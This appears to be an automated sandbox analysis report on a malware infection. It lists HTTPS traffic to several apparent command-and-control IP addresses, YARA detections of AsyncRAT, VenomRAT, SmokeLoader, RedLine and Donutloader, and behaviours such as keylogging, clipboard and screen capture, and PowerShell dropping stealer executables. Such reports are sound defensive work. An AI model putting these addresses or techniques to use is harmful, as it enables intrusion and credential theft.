Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown HTTPS traffic detected: 185.149.100.242:443 -> 192.168.2.10:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.0.235.84:443 -> 192.168.2.10:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49757 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.3.16:443 -> 192.168.2.10:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49760 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49761 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49762 version: TLS 1.2
Source: unknown HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.10:49763 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49765 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49766 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49769 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49772 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49774 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49775 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49776 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49777 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49778 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49781 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49782 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49787 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49788 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49789 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49791 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49796 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49797 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49801 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49804 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49808 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49818 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49819 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49820 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49824 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49826 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49827 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49828 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49829 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49830 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49831 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49832 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49834 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49835 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49836 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49837 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49838 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49839 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49841 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49842 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49844 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49845 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49846 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49848 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49849 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49850 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49851 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49852 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49853 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49854 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected AsyncRAT
Source: Yara match File source: 37.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.vm.exe.28c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.vm.exe.28c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected SmokeLoader
Source: Yara match File source: 00000004.00000002.1462544798.0000000000660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1780544287.0000000002131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1780411113.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1462616334.0000000000681000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Yara detected VenomRAT
Source: Yara match File source: Process Memory Space: vm.exe PID: 392, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vm.exe PID: 5776, type: MEMORYSTR
Contains functionality to log keystrokes (.Net Source)
Source: 37.2.vm.exe.4e40000.1.raw.unpack, Keylogger.cs .Net Code: KeyboardLayout
Source: 43.2.vm.exe.28c0000.1.raw.unpack, Keylogger.cs .Net Code: KeyboardLayout
Contains functionality for read data from the clipboard
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EDED00 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 31_2_02EDED00
Contains functionality to read the clipboard data
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EDED00 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 31_2_02EDED00
Contains functionality to record screenshots
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EDFB2F GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject, 31_2_02EDFB2F
Installs a raw input device (often for capturing keystrokes)
Source: SciTE.exe.5.dr Binary or memory string: _winapi_getrawinputdata _winapi_getrawinputdeviceinfo _winapi_getregiondata _winapi_getregisteredrawinputdevices \ memstr_eca01e57-9

Spam, unwanted Advertisements and Ransom Demands
barindex
Reads the Security eventlog
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Reads the System eventlog
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 37.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 43.2.vm.exe.28c0000.1.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 37.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 43.2.vm.exe.28c0000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 00000004.00000002.1462369187.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000025.00000002.3741871434.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002B.00000002.2935972956.0000000004F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000026.00000002.2904757056.0000000003870000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000004.00000002.1462544798.0000000000660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000010.00000002.1780544287.0000000002131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.1462755251.00000000006DE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.1780411113.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000010.00000002.1780256705.000000000050D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000026.00000002.2881701412.0000000000060000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000010.00000002.1780382606.0000000000670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.1462616334.0000000000681000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0000002B.00000002.2872562883.0000000000480000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Found suspicious ZIP file
Source: venom.zip.32.dr Zip Entry: runvm.bat
Source: lumma.zip.32.dr Zip Entry: run.bat
PE file contains section with special chars
Source: MyProg.exe.5.dr Static PE information: section name: Y|uR
PE file has a writeable .text section
Source: IXDaI.exe.4.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\g2m.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\g2m.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Jump to dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Abnormal high CPU Usage
Source: C:\Windows\explorer.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 771E0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Memory allocated: 771E0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 771E0000 page execute and read and write
Contains functionality to call native functions
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00401538 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401538
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00402FE9 RtlCreateUserThread,NtTerminateProcess, 4_2_00402FE9
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_004014DE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_004014DE
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00401496 NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401496
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00401543 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401543
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00401565 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401565
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00401579 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401579
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_0040157C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_0040157C
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00401538 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 16_2_00401538
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00402FE9 RtlCreateUserThread,NtTerminateProcess, 16_2_00402FE9
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_004014DE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 16_2_004014DE
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00401496 NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 16_2_00401496
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00401543 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 16_2_00401543
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00401565 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 16_2_00401565
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00401579 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 16_2_00401579
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_0040157C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 16_2_0040157C
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B906900 RtlAllocateHeap,NtQuerySystemInformation, 24_2_00007FF70B906900
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B925100 NtWriteVirtualMemory, 24_2_00007FF70B925100
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B925260 NtAllocateVirtualMemory, 24_2_00007FF70B925260
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B924FC0 NtReadVirtualMemory, 24_2_00007FF70B924FC0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B9259D0 NtProtectVirtualMemory, 24_2_00007FF70B9259D0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B923F30 NtQueryInformationProcess, 24_2_00007FF70B923F30
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA6076 5_2_00BA6076
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA6D00 5_2_00BA6D00
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE6076 17_2_00EE6076
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE6D00 17_2_00EE6D00
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8DE810 24_2_00007FF70B8DE810
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8DBAB0 24_2_00007FF70B8DBAB0
